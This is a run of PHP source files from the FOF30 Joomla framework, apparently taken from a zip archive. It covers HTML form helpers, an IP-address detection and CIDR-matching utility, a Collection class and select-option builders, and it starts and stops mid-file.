($options['list.select'] as $val) { $key2 = is_object($val) ? $val->{$options['option.key']} : $val; if ($key == $key2) { $extra .= ' selected="selected"'; break; } } } elseif ((string) $key === (string) $options['list.select']) { $extra .= ' selected="selected"'; } if ($options['list.translate']) { $text = Text::_($text); } // Generate the option, encoding as required $html .= $baseIndent . '<option value="' . ($options['option.key.toHtml'] ? htmlspecialchars($key, ENT_COMPAT, 'UTF-8') : $key) . '"' . $extra . '>'; $html .= $options['option.text.toHtml'] ? htmlentities(html_entity_decode($text, ENT_COMPAT, 'UTF-8'), ENT_COMPAT, 'UTF-8') : $text; $html .= '</option>' . $options['format.eol']; } } return $html; } /** * Generates an HTML radio list. * * @param array $data An array of objects * @param string $name The value of the HTML name attribute * @param string $attribs Additional HTML attributes for the `<select>` tag * @param mixed $optKey The key that is selected * @param string $optText The name of the object variable for the option value * @param string $selected The name of the object variable for the option text * @param boolean $idtag Value of the field id or null by default * @param boolean $translate True if options will be translated * * @return string HTML for the select list */ public static function radiolist($data, $name, $attribs = null, $optKey = 'value', $optText = 'text', $selected = null, $idtag = false, $translate = false) { $forSelect = false; if (isset($attribs['forSelect'])) { $forSelect = (bool) ($attribs['forSelect']); unset($attribs['forSelect']); } if (is_array($attribs)) { $attribs = ArrayHelper::toString($attribs); } $id_text = empty($idtag) ? $name : $idtag; $html = ''; foreach ($data as $optionObject) { $optionValue = $optionObject->$optKey; $labelText = $translate ? Text::_($optionObject->$optText) : $optionObject->$optText; $id = ($optionObject->id ?? null); $extra = ''; $id = $id ? $optionObject->id : $id_text . $optionValue; if (is_array($selected)) { foreach ($selected as $val) { $k2 = is_object($val) ? $val->$optKey : $val; if ($optionValue == $k2) { $extra .= ' selected="selected" '; break; } } } else { $extra .= ((string) $optionValue === (string) $selected ? ' checked="checked" ' : ''); } if ($forSelect) { $html .= "\n\t" . '<input type="radio" name="' . $name . '" id="' . $id . '" value="' . $optionValue . '" ' . $extra . $attribs . ' />'; $html .= "\n\t" . '<label for="' . $id . '" id="' . $id . '-lbl">' . $labelText . '</label>'; } else { $html .= "\n\t" . '<label for="' . $id . '" id="' . $id . '-lbl">'; $html .= "\n\t\n\t" . '<input type="radio" name="' . $name . '" id="' . $id . '" value="' . $optionValue . '" ' . $extra . $attribs . ' />' . $labelText; $html .= "\n\t" . '</label>'; } } $html .= "\n"; return $html; } /** * Creates two radio buttons styled with FEF to appear as a YES/NO switch * * @param string $name Name of the field * @param string $selected Selected field * @param array $attribs Additional attributes to add to the switch * * @return string The HTML for the switch */ public static function booleanswitch($name, $selected, array $attribs = []) { if (empty($attribs)) { $attribs = ['class' => 'akeeba-toggle']; } else { if (isset($attribs['class'])) { $attribs['class'] .= ' akeeba-toggle'; } else { $attribs['class'] = 'akeeba-toggle'; } } $temp = ''; foreach ($attribs as $key => $value) { $temp .= $key . ' = "' . $value . '"'; } $attribs = $temp; $checked_1 = $selected ? '' : 'checked '; $checked_2 = $selected ? 'checked ' : ''; $html = '<div ' . $attribs . '>'; $html .= '<input type="radio" class="radio-yes" name="' . $name . '" ' . $checked_2 . 'id="' . $name . '-2" value="1">'; $html .= '<label for="' . $name . '-2" class="green">' . Text::_('JYES') . '</label>'; $html .= '<input type="radio" class="radio-no" name="' . $name . '" ' . $checked_1 . 'id="' . $name . '-1" value="0">'; $html .= '<label for="' . $name . '-1" class="red">' . Text::_('JNO') . '</label>'; $html .= '</div>'; return $html; } } PK���\��,��fof30/Utils/FEFHelper/edit.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ defined('_JEXEC') || die; use Joomla\CMS\Editor\Editor; use Joomla\CMS\Factory; /** * Custom JHtml (HTMLHelper) class. Offers edit (form) view controls compatible with Akeeba Frontend * Framework (FEF). * * Call these methods as JHtml::_('FEFHelper.edit.methodName', $parameter1, $parameter2, ...) */ abstract class FEFHelperEdit { public static function editor($fieldName, $value, array $params = []) { $params = array_merge([ 'id' => null, 'editor' => null, 'width' => '100%', 'height' => 500, 'columns' => 50, 'rows' => 20, 'created_by' => null, 'asset_id' => null, 'buttons' => true, 'hide' => false, ], $params); $editorType = $params['editor']; if (is_null($editorType)) { $editorType = Factory::getConfig()->get('editor'); $user = Factory::getUser(); if (!$user->guest) { $editorType = $user->getParam('editor', $editorType); } } if (is_null($params['id'])) { $params['id'] = $fieldName; } $editor = Editor::getInstance($editorType); return $editor->display($fieldName, $value, $params['width'], $params['height'], $params['columns'], $params['rows'], $params['buttons'], $params['id'], $params['asset_id'], $params['created_by'], $params); } } PK���\ �L�fof30/Utils/Phpfunc.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Utils; defined('_JEXEC') || die; /** * Intercept calls to PHP functions. * * Based on the Session package of Aura for PHP – https://github.com/auraphp/Aura.Session * * @method function_exists(string $function) * @method hash_algos() */ class Phpfunc { /** * * Magic call to intercept any function pass to it. * * @param string $func The function to call. * * @param array $args Arguments passed to the function. * * @return mixed The result of the function call. * */ public function __call($func, $args) { return call_user_func_array($func, $args); } } PK���\���2�6�6fof30/Utils/Ip.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Utils; defined('_JEXEC') || die; /** * IP address helper * * Makes sure that we get the real IP of the user */ class Ip { /** * The IP address of the current visitor * * @var string */ protected static $ip = null; /** * Should I allow IP overrides through X-Forwarded-For or Client-Ip HTTP headers? * * @var bool */ protected static $allowIpOverrides = true; /** * See self::detectAndCleanIP and setUseFirstIpInChain * * If this is enabled (default) self::detectAndCleanIP will return the FIRST IP in case there is an IP chain coming * for example from an X-Forwarded-For HTTP header. When set to false it will simulate the old behavior in FOF up to * and including 3.1.1 which returned the LAST IP in the list. * * @var bool */ protected static $useFirstIpInChain = true; /** * List of headers we should check to know if the user is behind a proxy. PLEASE NOTE: ORDER MATTERS! * * @var array */ protected static $proxyHeaders = [ 'HTTP_CF_CONNECTING_IP', // CloudFlare 'HTTP_X_FORWARDED_FOR', // Standard for transparent proxy (e.g. NginX) 'HTTP_X_SUCURI_CLIENTIP', // Sucuri firewall uses its own header ]; /** * Set the $useFirstIpInChain flag. See above. * * @param bool $value */ public static function setUseFirstIpInChain($value = true) { self::$useFirstIpInChain = $value; } /** * Getter for the list of proxy headers we can check * * @return array */ public static function getProxyHeaders() { return static::$proxyHeaders; } /** * Get the current visitor's IP address * * @return string */ public static function getIp() { if (is_null(static::$ip)) { $ip = self::detectAndCleanIP(); if (!empty($ip) && ($ip != '0.0.0.0') && function_exists('inet_pton') && function_exists('inet_ntop')) { $myIP = @inet_pton($ip); if ($myIP !== false) { $ip = inet_ntop($myIP); } } static::setIp($ip); } return static::$ip; } /** * Set the IP address of the current visitor * * @param string $ip * * @return void */ public static function setIp($ip) { static::$ip = $ip; } /** * Checks if an IP is contained in a list of IPs or IP expressions * * @param string $ip The IPv4/IPv6 address to check * @param array|string $ipTable An IP expression (or a comma-separated or array list of IP expressions) to * check against * * @return null|boolean True if it's in the list */ public static function IPinList($ip, $ipTable = '') { // No point proceeding with an empty IP list if (empty($ipTable)) { return false; } // If the IP list is not an array, convert it to an array if (!is_array($ipTable)) { if (strpos($ipTable, ',') !== false) { $ipTable = explode(',', $ipTable); $ipTable = array_map(function ($x) { return trim($x); }, $ipTable); } else { $ipTable = trim($ipTable); $ipTable = [$ipTable]; } } // If no IP address is found, return false if ($ip == '0.0.0.0') { return false; } // If no IP is given, return false if (empty($ip)) { return false; } // Sanity check if (!function_exists('inet_pton')) { return false; } // Get the IP's in_adds representation $myIP = @inet_pton($ip); // If the IP is in an unrecognisable format, quite if ($myIP === false) { return false; } $ipv6 = self::isIPv6($ip); foreach ($ipTable as $ipExpression) { $ipExpression = trim($ipExpression); // Inclusive IP range, i.e. 123.123.123.123-124.125.126.127 if (strstr($ipExpression, '-')) { [$from, $to] = explode('-', $ipExpression, 2); if ($ipv6 && (!self::isIPv6($from) || !self::isIPv6($to))) { // Do not apply IPv4 filtering on an IPv6 address continue; } elseif (!$ipv6 && (self::isIPv6($from) || self::isIPv6($to))) { // Do not apply IPv6 filtering on an IPv4 address continue; } $from = @inet_pton(trim($from)); $to = @inet_pton(trim($to)); // Sanity check if (($from === false) || ($to === false)) { continue; } // Swap from/to if they're in the wrong order if ($from > $to) { [$from, $to] = [$to, $from]; } if (($myIP >= $from) && ($myIP <= $to)) { return true; } } // Netmask or CIDR provided elseif (strstr($ipExpression, '/')) { $binaryip = self::inet_to_bits($myIP); [$net, $maskbits] = explode('/', $ipExpression, 2); if ($ipv6 && !self::isIPv6($net)) { // Do not apply IPv4 filtering on an IPv6 address continue; } elseif (!$ipv6 && self::isIPv6($net)) { // Do not apply IPv6 filtering on an IPv4 address continue; } elseif ($ipv6 && strstr($maskbits, ':')) { // Perform an IPv6 CIDR check if (self::checkIPv6CIDR($myIP, $ipExpression)) { return true; } // If we didn't match it proceed to the next expression continue; } elseif (!$ipv6 && strstr($maskbits, '.')) { // Convert IPv4 netmask to CIDR $long = ip2long($maskbits); $base = ip2long('255.255.255.255'); $maskbits = 32 - log(($long ^ $base) + 1, 2); } // Convert network IP to in_addr representation $net = @inet_pton($net); // Sanity check if ($net === false) { continue; } // Get the network's binary representation $binarynet = self::inet_to_bits($net); $expectedNumberOfBits = $ipv6 ? 128 : 24; $binarynet = str_pad($binarynet, $expectedNumberOfBits, '0', STR_PAD_RIGHT); // Check the corresponding bits of the IP and the network $ip_net_bits = substr($binaryip, 0, $maskbits); $net_bits = substr($binarynet, 0, $maskbits); if ($ip_net_bits == $net_bits) { return true; } } else { // IPv6: Only single IPs are supported if ($ipv6) { $ipExpression = trim($ipExpression); if (!self::isIPv6($ipExpression)) { continue; } $ipCheck = @inet_pton($ipExpression); if ($ipCheck === false) { continue; } if ($ipCheck == $myIP) { return true; } } else { // Standard IPv4 address, i.e. 123.123.123.123 or partial IP address, i.e. 123.[123.][123.][123] $dots = 0; if (substr($ipExpression, -1) == '.') { // Partial IP address. Convert to CIDR and re-match foreach (count_chars($ipExpression, 1) as $i => $val) { if ($i == 46) { $dots = $val; } } $netmask = '255.255.255.255'; switch ($dots) { case 1: $netmask = '255.0.0.0'; $ipExpression .= '0.0.0'; break; case 2: $netmask = '255.255.0.0'; $ipExpression .= '0.0'; break; case 3: $netmask = '255.255.255.0'; $ipExpression .= '0'; break; default: $dots = 0; } if ($dots) { $binaryip = self::inet_to_bits($myIP); // Convert netmask to CIDR $long = ip2long($netmask); $base = ip2long('255.255.255.255'); $maskbits = 32 - log(($long ^ $base) + 1, 2); $net = @inet_pton($ipExpression); // Sanity check if ($net === false) { continue; } // Get the network's binary representation $binarynet = self::inet_to_bits($net); $expectedNumberOfBits = $ipv6 ? 128 : 24; $binarynet = str_pad($binarynet, $expectedNumberOfBits, '0', STR_PAD_RIGHT); // Check the corresponding bits of the IP and the network $ip_net_bits = substr($binaryip, 0, $maskbits); $net_bits = substr($binarynet, 0, $maskbits); if ($ip_net_bits == $net_bits) { return true; } } } if (!$dots) { $ip = @inet_pton(trim($ipExpression)); if ($ip == $myIP) { return true; } } } } } return false; } /** * Works around the REMOTE_ADDR not containing the user's IP */ public static function workaroundIPIssues() { $ip = self::getIp(); if (array_key_exists('REMOTE_ADDR', $_SERVER) && ($_SERVER['REMOTE_ADDR'] == $ip)) { return; } if (array_key_exists('REMOTE_ADDR', $_SERVER)) { $_SERVER['FOF_REMOTE_ADDR'] = $_SERVER['REMOTE_ADDR']; } elseif (function_exists('getenv')) { if (getenv('REMOTE_ADDR')) { $_SERVER['FOF_REMOTE_ADDR'] = getenv('REMOTE_ADDR'); } } $_SERVER['REMOTE_ADDR'] = $ip; } /** * Should I allow the remote client's IP to be overridden by an X-Forwarded-For or Client-Ip HTTP header? * * @param bool $newState True to allow the override * * @return void */ public static function setAllowIpOverrides($newState) { self::$allowIpOverrides = $newState ? true : false; } /** * Is it an IPv6 IP address? * * @param string $ip An IPv4 or IPv6 address * * @return boolean True if it's IPv6 */ protected static function isIPv6($ip) { if (strstr($ip, ':')) { return true; } return false; } /** * Gets the visitor's IP address. Automatically handles reverse proxies * reporting the IPs of intermediate devices, like load balancers. Examples: * https://www.akeeba.com/support/admin-tools/13743-double-ip-adresses-in-security-exception-log-warnings.html * http://stackoverflow.com/questions/2422395/why-is-request-envremote-addr-returning-two-ips * The solution used is assuming that the first IP address is the external one (unless $useFirstIpInChain is set to * false) * * @return string */ protected static function detectAndCleanIP() { $ip = static::detectIP(); if ((strstr($ip, ',') !== false) || (strstr($ip, ' ') !== false)) { $ip = str_replace(' ', ',', $ip); $ip = str_replace(',,', ',', $ip); $ips = explode(',', $ip); $ip = ''; // Loop until we're running out of parts or we have a hit while ($ips) { $ip = array_shift($ips); $ip = trim($ip); if (self::$useFirstIpInChain) { return self::cleanIP($ip); } } } return self::cleanIP($ip); } protected static function cleanIP($ip) { $ip = trim($ip); $ip = strtoupper($ip); /** * Work around IPv4-mapped addresses. * * IPv4 addresses may be embedded in an IPv6 address. This is always 80 zeroes, 16 ones and the IPv4 address. * In all possible IPv6 notations this is: * 0:0:0:0:0:FFFF:192.168.1.1 * ::FFFF:192.168.1.1 * ::FFFF:C0A8:0101 * * @see http://www.tcpipguide.com/free/t_IPv6IPv4AddressEmbedding-2.htm */ if ((strpos($ip, '::FFFF:') === 0) || (strpos($ip, '0:0:0:0:0:FFFF:') === 0)) { // Fast path: the embedded IPv4 is in decimal notation. if (strstr($ip, '.') !== false) { return substr($ip, strrpos($ip, ':') + 1); } // Get the embedded IPv4 (in hex notation) $ip = substr($ip, strpos($ip, ':FFFF:') + 6); // Convert each 16-bit WORD to decimal [$word1, $word2] = explode(':', $ip); $word1 = hexdec($word1); $word2 = hexdec($word2); $longIp = $word1 * 65536 + $word2; return long2ip($longIp); } return $ip; } /** * Gets the visitor's IP address * * @return string */ protected static function detectIP() { // Normally the $_SERVER superglobal is set if (isset($_SERVER)) { // Do we have IP overrides enabled? if (static::$allowIpOverrides) { // If so, check for every proxy header foreach (static::$proxyHeaders as $header) { if (array_key_exists($header, $_SERVER)) { return $_SERVER[$header]; } } } // CLI applications if (!array_key_exists('REMOTE_ADDR', $_SERVER)) { return ''; } // Normal, non-proxied server or server behind a transparent proxy return $_SERVER['REMOTE_ADDR']; } // This part is executed on PHP running as CGI, or on SAPIs which do // not set the $_SERVER superglobal // If getenv() is disabled, you're screwed if (!function_exists('getenv')) { return ''; } // Do we have IP overrides enabled? if (static::$allowIpOverrides) { // If so, check for every proxy header foreach (static::$proxyHeaders as $header) { if (getenv($header)) { return getenv($header); } } } // Normal, non-proxied server or server behind a transparent proxy if (getenv('REMOTE_ADDR')) { return getenv('REMOTE_ADDR'); } // Catch-all case for broken servers and CLI applications return ''; } /** * Converts inet_pton output to bits string * * @param string $inet The in_addr representation of an IPv4 or IPv6 address * * @return string */ protected static function inet_to_bits($inet) { if (strlen($inet) == 4) { $unpacked = unpack('C4', $inet); } else { $unpacked = unpack('C16', $inet); } $binaryip = ''; foreach ($unpacked as $byte) { $binaryip .= str_pad(decbin($byte), 8, '0', STR_PAD_LEFT); } return $binaryip; } /** * Checks if an IPv6 address $ip is part of the IPv6 CIDR block $cidrnet * * @param string $ip The IPv6 address to check, e.g. 21DA:00D3:0000:2F3B:02AC:00FF:FE28:9C5A * @param string $cidrnet The IPv6 CIDR block, e.g. 21DA:00D3:0000:2F3B::/64 * * @return bool */ protected static function checkIPv6CIDR($ip, $cidrnet) { $ip = inet_pton($ip); $binaryip = self::inet_to_bits($ip); [$net, $maskbits] = explode('/', $cidrnet); $net = inet_pton($net); $binarynet = self::inet_to_bits($net); $ip_net_bits = substr($binaryip, 0, $maskbits); $net_bits = substr($binarynet, 0, $maskbits); return $ip_net_bits === $net_bits; } } PK���\^NЮG5G5fof30/Utils/Collection.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Utils; defined('_JEXEC') || die; use ArrayAccess; use ArrayIterator; use CachingIterator; use Closure; use Countable; use IteratorAggregate; use JsonSerializable; class Collection implements ArrayAccess, Countable, IteratorAggregate, JsonSerializable { /** * The items contained in the collection. * * @var array */ protected $items = []; /** * Create a new collection. * * @param array $items */ public function __construct(array $items = []) { $this->items = $items; } /** * Create a new collection instance if the value isn't one already. * * @param mixed $items * * @return static */ public static function make($items) { if (is_null($items)) { return new static; } if ($items instanceof Collection) { return $items; } return new static(is_array($items) ? $items : [$items]); } /** * Get all of the items in the collection. * * @return array */ public function all() { return $this->items; } /** * Collapse the collection items into a single array. * * @return static */ public function collapse() { $results = []; foreach ($this->items as $values) { $results = array_merge($results, $values); } return new static($results); } /** * Diff the collection with the given items. * * @param Collection|array $items * * @return static */ public function diff($items) { return new static(array_diff($this->items, $this->getArrayableItems($items))); } /** * Execute a callback over each item. * * @param Closure $callback * * @return static */ public function each(Closure $callback) { array_map($callback, $this->items); return $this; } /** * Fetch a nested element of the collection. * * @param string $key * * @return static */ public function fetch($key) { return new static(array_fetch($this->items, $key)); } /** * Run a filter over each of the items. * * @param Closure $callback * * @return static */ public function filter(Closure $callback) { return new static(array_filter($this->items, $callback)); } /** * Get the first item from the collection. * * @param Closure $callback * @param mixed $default * * @return mixed|null */ public function first(Closure $callback = null, $default = null) { if (is_null($callback)) { return count($this->items) > 0 ? reset($this->items) : null; } else { return array_first($this->items, $callback, $default); } } /** * Get a flattened array of the items in the collection. * * @return array */ public function flatten() { return new static(array_flatten($this->items)); } /** * Remove an item from the collection by key. * * @param mixed $key * * @return void */ public function forget($key) { unset($this->items[$key]); } /** * Get an item from the collection by key. * * @param mixed $key * @param mixed $default * * @return mixed */ public function get($key, $default = null) { if (array_key_exists($key, $this->items)) { return $this->items[$key]; } return value($default); } /** * Group an associative array by a field or Closure value. * * @param callable|string $groupBy * * @return static */ public function groupBy($groupBy) { $results = []; foreach ($this->items as $key => $value) { $key = is_callable($groupBy) ? $groupBy($value, $key) : array_get($value, $groupBy); $results[$key][] = $value; } return new static($results); } /** * Determine if an item exists in the collection by key. * * @param mixed $key * * @return bool */ public function has($key) { return array_key_exists($key, $this->items); } /** * Concatenate values of a given key as a string. * * @param string $value * @param string $glue * * @return string */ public function implode($value, $glue = null) { if (is_null($glue)) { return implode($this->lists($value)); } return implode($glue, $this->lists($value)); } /** * Intersect the collection with the given items. * * @param Collection|array $items * * @return static */ public function intersect($items) { return new static(array_intersect($this->items, $this->getArrayableItems($items))); } /** * Determine if the collection is empty or not. * * @return bool */ public function isEmpty() { return empty($this->items); } /** * Get the last item from the collection. * * @return mixed|null */ public function last() { return count($this->items) > 0 ? end($this->items) : null; } /** * Get an array with the values of a given key. * * @param string $value * @param string $key * * @return array */ public function lists($value, $key = null) { return array_pluck($this->items, $value, $key); } /** * Run a map over each of the items. * * @param Closure $callback * * @return static */ public function map(Closure $callback) { return new static(array_map($callback, $this->items, array_keys($this->items))); } /** * Merge the collection with the given items. * * @param Collection|array $items * * @return static */ public function merge($items) { return new static(array_merge($this->items, $this->getArrayableItems($items))); } /** * Get and remove the last item from the collection. * * @return mixed|null */ public function pop() { return array_pop($this->items); } /** * Push an item onto the beginning of the collection. * * @param mixed $value * * @return void */ public function prepend($value) { array_unshift($this->items, $value); } /** * Push an item onto the end of the collection. * * @param mixed $value * * @return void */ public function push($value) { $this->items[] = $value; } /** * Put an item in the collection by key. * * @param mixed $key * @param mixed $value * * @return void */ public function put($key, $value) { $this->items[$key] = $value; } /** * Reduce the collection to a single value. * * @param callable $callback * @param mixed $initial * * @return mixed */ public function reduce($callback, $initial = null) { return array_reduce($this->items, $callback, $initial); } /** * Get one or more items randomly from the collection. * * @param int $amount * * @return mixed */ public function random($amount = 1) { $keys = array_rand($this->items, $amount); return is_array($keys) ? array_intersect_key($this->items, array_flip($keys)) : $this->items[$keys]; } /** * Reverse items order. * * @return static */ public function reverse() { return new static(array_reverse($this->items)); } /** * Get and remove the first item from the collection. * * @return mixed|null */ public function shift() { return array_shift($this->items); } /** * Slice the underlying collection array. * * @param int $offset * @param int $length * @param bool $preserveKeys * * @return static */ public function slice($offset, $length = null, $preserveKeys = false) { return new static(array_slice($this->items, $offset, $length, $preserveKeys)); } /** * Sort through each item with a callback. * * @param Closure $callback * * @return static */ public function sort(Closure $callback) { uasort($this->items, $callback); return $this; } /** * Sort the collection using the given Closure. * * @param Closure|string $callback * @param int $options * @param bool $descending * * @return static */ public function sortBy($callback, $options = SORT_REGULAR, $descending = false) { $results = []; if (is_string($callback)) { $callback = $this->valueRetriever($callback); } // First we will loop through the items and get the comparator from a callback // function which we were given. Then, we will sort the returned values and // and grab the corresponding values for the sorted keys from this array. foreach ($this->items as $key => $value) { $results[$key] = $callback($value); } $descending ? arsort($results, $options) : asort($results, $options); // Once we have sorted all of the keys in the array, we will loop through them // and grab the corresponding model so we can set the underlying items list // to the sorted version. Then we'll just return the collection instance. foreach (array_keys($results) as $key) { $results[$key] = $this->items[$key]; } $this->items = $results; return $this; } /** * Sort the collection in descending order using the given Closure. * * @param Closure|string $callback * @param int $options * * @return static */ public function sortByDesc($callback, $options = SORT_REGULAR) { return $this->sortBy($callback, $options, true); } /** * Splice portion of the underlying collection array. * * @param int $offset * @param int $length * @param mixed $replacement * * @return static */ public function splice($offset, $length = 0, $replacement = []) { return new static(array_splice($this->items, $offset, $length, $replacement)); } /** * Get the sum of the given values. * * @param Closure|string $callback * * @return mixed */ public function sum($callback) { if (is_string($callback)) { $callback = $this->valueRetriever($callback); } return $this->reduce(function ($result, $item) use ($callback) { return $result += $callback($item); }, 0); } /** * Take the first or last {$limit} items. * * @param int $limit * * @return static */ public function take($limit = null) { if ($limit < 0) { return $this->slice($limit, abs($limit)); } return $this->slice(0, $limit); } /** * Resets the Collection (removes all items) * * @return Collection */ public function reset() { $this->items = []; return $this; } /** * Transform each item in the collection using a callback. * * @param callable $callback * * @return static */ public function transform($callback) { $this->items = array_map($callback, $this->items); return $this; } /** * Return only unique items from the collection array. * * @return static */ public function unique() { return new static(array_unique($this->items)); } /** * Reset the keys on the underlying array. * * @return static */ public function values() { $this->items = array_values($this->items); return $this; } /** * Get the collection of items as a plain array. * * @return array */ public function toArray() { return array_map(function ($value) { return (is_object($value) && method_exists($value, 'toArray')) ? $value->toArray() : $value; }, $this->items); } /** * Convert the object into something JSON serializable. * * @return array */ public function jsonSerialize() { return $this->toArray(); } /** * Get the collection of items as JSON. * * @param int $options * * @return string */ public function toJson($options = 0) { return json_encode($this->toArray(), $options); } /** * Get an iterator for the items. * * @return ArrayIterator */ public function getIterator() { return new ArrayIterator($this->items); } /** * Get a CachingIterator instance. * * @param integer $flags Caching iterator flags * * @return CachingIterator */ public function getCachingIterator($flags = CachingIterator::CALL_TOSTRING) { return new CachingIterator($this->getIterator(), $flags); } /** * Count the number of items in the collection. * * @return int */ public function count() { return count($this->items); } /** * Determine if an item exists at an offset. * * @param mixed $key * * @return bool */ public function offsetExists($key) { return array_key_exists($key, $this->items); } /** * Get an item at a given offset. * * @param mixed $key * * @return mixed */ public function offsetGet($key) { return $this->items[$key]; } /** * Set the item at a given offset. * * @param mixed $key * @param mixed $value * * @return void */ public function offsetSet($key, $value) { if (is_null($key)) { $this->items[] = $value; } else { $this->items[$key] = $value; } } /** * Unset the item at a given offset. * * @param string $key * * @return void */ public function offsetUnset($key) { unset($this->items[$key]); } /** * Convert the collection to its string representation. * * @return string */ public function __toString() { return $this->toJson(); } /** * Get a value retrieving callback. * * @param string $value * * @return Closure */ protected function valueRetriever($value) { return function ($item) use ($value) { return is_object($item) ? $item->{$value} : array_get($item, $value); }; } /** * Results array of items from Collection. * * @param Collection|array $items * * @return array */ private function getArrayableItems($items) { if ($items instanceof Collection) { $items = $items->all(); } elseif (is_object($items) && method_exists($items, 'toArray')) { $items = $items->toArray(); } return $items; } } PK���\��>�)�)fof30/Utils/SelectOptions.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Utils; defined('_JEXEC') || die; use InvalidArgumentException; use Joomla\CMS\Cache\Cache; use Joomla\CMS\Factory; use Joomla\CMS\Helper\UserGroupsHelper; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\LanguageHelper; use Joomla\CMS\Language\Text; use stdClass; /** * Returns arrays of JHtml select options for Joomla-specific information such as access levels. */ class SelectOptions { private static $cache = []; /** * Magic method to handle static calls * * @param string $name The name of the static method being called * @param string $arguments Ignored. * * @return mixed * @since 3.3.0 * */ public static function __callStatic($name, $arguments) { return self::getOptions($name, $arguments); } /** * Get a list of Joomla options of the type you specify. Supported types * - access View access levels * - usergroups User groups * - cachehandlers Cache handlers * - components Installed components accessible by the current user * - languages Site or administrator languages * - published Published status * * Global params: * - cache Should I returned cached data? Default: true. * * See the private static methods of this class for more information on params. * * @param string $type The options type to get * @param array $params Optional arguments, if they are supported by the options type. * * @return stdClass[] * @since 3.3.0 * */ public static function getOptions($type, array $params = []) { if ((substr($type, 0, 1) == '_') || !method_exists(__CLASS__, $type)) { throw new InvalidArgumentException(__CLASS__ . "does not support option type '$type'."); } $useCache = true; if (isset($params['cache'])) { $useCache = isset($params['cache']); unset($params['cache']); } $cacheKey = sha1($type . '--' . print_r($params, true)); $fetchNew = !$useCache || ($useCache && !isset(self::$cache[$cacheKey])); if ($fetchNew) { $ret = forward_static_call_array([__CLASS__, $type], [$params]); } if (!$useCache) { return $ret; } if ($fetchNew) { self::$cache[$cacheKey] = $ret; } return self::$cache[$cacheKey]; } /** * Joomla! Access Levels (previously: view access levels) * * Available params: * - allLevels: Show an option for all levels (default: false) * * @param array $params Parameters * * @return stdClass[] * * @since 3.3.0 * * @see \JHtmlAccess::level() */ private static function access(array $params = []) { $db = Factory::getDbo(); $query = $db->getQuery(true) ->select($db->quoteName('a.id', 'value') . ', ' . $db->quoteName('a.title', 'text')) ->from($db->quoteName('#__viewlevels', 'a')) ->group($db->quoteName(['a.id', 'a.title', 'a.ordering'])) ->order($db->quoteName('a.ordering') . ' ASC') ->order($db->quoteName('title') . ' ASC'); // Get the options. $db->setQuery($query); $options = $db->loadObjectList(); if (isset($params['allLevels']) && $params['allLevels']) { array_unshift($options, HTMLHelper::_('select.option', '', Text::_('JOPTION_ACCESS_SHOW_ALL_LEVELS'))); } return $options; } /** * Joomla! User Groups * * Available params: * - allGroups: Show an option for all groups (default: false) * * @param array $params Parameters * * @return stdClass[] * * @since 3.3.0 * * @see \JHtmlAccess::usergroup() */ private static function usergroups(array $params = []) { $options = array_values(UserGroupsHelper::getInstance()->getAll()); for ($i = 0, $n = count($options); $i < $n; $i++) { $options[$i]->value = $options[$i]->id; $options[$i]->text = str_repeat('- ', $options[$i]->level) . $options[$i]->title; } // If all usergroups is allowed, push it into the array. if (isset($params['allGroups']) && $params['allGroups']) { array_unshift($options, HTMLHelper::_('select.option', '', Text::_('JOPTION_ACCESS_SHOW_ALL_GROUPS'))); } return $options; } /** * Joomla cache handlers * * @return stdClass[] * @since 3.3.0 * */ private static function cachehandlers() { $options = []; // Convert to name => name array. foreach (Cache::getStores() as $store) { $options[] = HTMLHelper::_('select.option', $store, Text::_('JLIB_FORM_VALUE_CACHE_' . $store), 'value', 'text'); } return $options; } /** * Get a list of all installed components and also translates them. * * Available params: * - client_ids Array of Joomla application client IDs * * @param array $params * * @return stdClass[] * @since 3.3.0 * */ private static function components(array $params) { $db = Factory::getDbo(); // Check for client_ids override $client_ids = $params['client_ids'] ?? [0, 1]; if (is_string($client_ids)) { $client_ids = explode(',', $client_ids); } // Calculate client_ids where clause $client_ids = array_map(function ($client_id) use ($db) { return $db->q((int) trim($client_id)); }, $client_ids); $query = $db->getQuery(true) ->select( [ $db->qn('name'), $db->qn('element'), $db->qn('client_id'), $db->qn('manifest_cache'), ] ) ->from($db->qn('#__extensions')) ->where($db->qn('type') . ' = ' . $db->q('component')) ->where($db->qn('client_id') . ' IN (' . implode(',', $client_ids) . ')'); $components = $db->setQuery($query)->loadObjectList('element'); // Convert to array of objects, so we can use sortObjects() // Also translate component names with JText::_() $aComponents = []; $user = Factory::getUser(); foreach ($components as $component) { // Don't show components in the list where the user doesn't have access for // TODO: perhaps add an option for this if (!$user->authorise('core.manage', $component->element)) { continue; } $aComponents[$component->element] = (object) [ 'value' => $component->element, 'text' => self::_translateComponentName($component), ]; } // Reorder the components array, because the alphabetical // ordering changed due to the JText::_() translation uasort( $aComponents, function ($a, $b) { return strcasecmp($a->text, $b->text); } ); return $aComponents; } /** * Method to get the field options. * * Available params: * - client 'site' (default) or 'administrator' * - none Text to show for "all languages" option, use empty string to remove it * * @return array Languages for the specified client * @since 3.3.0 * */ private static function languages($params) { $db = Factory::getDbo(); $client = $params['client'] ?? 'site'; if (!in_array($client, ['site', 'administrator'])) { $client = 'site'; } // Make sure the languages are sorted base on locale instead of random sorting $options = LanguageHelper::createLanguageList(null, constant('JPATH_' . strtoupper($client)), true, true); if (count($options) > 1) { usort( $options, function ($a, $b) { return strcmp($a['value'], $b['value']); } ); } $none = $params['none'] ?? '*'; if (!empty($none)) { array_unshift($options, HTMLHelper::_('select.option', '*', Text::_($none))); } return $options; } /** * Options for a Published field * * Params: * - none Placeholder for no selection (empty key). Default: null. * - published Show "Published"? Default: true * - unpublished Show "Unpublished"? Default: true * - archived Show "Archived"? Default: false * - trash Show "Trashed"? Default: false * - all Show "All" option? This is different than none, the key is '*'. Default: false * * @param 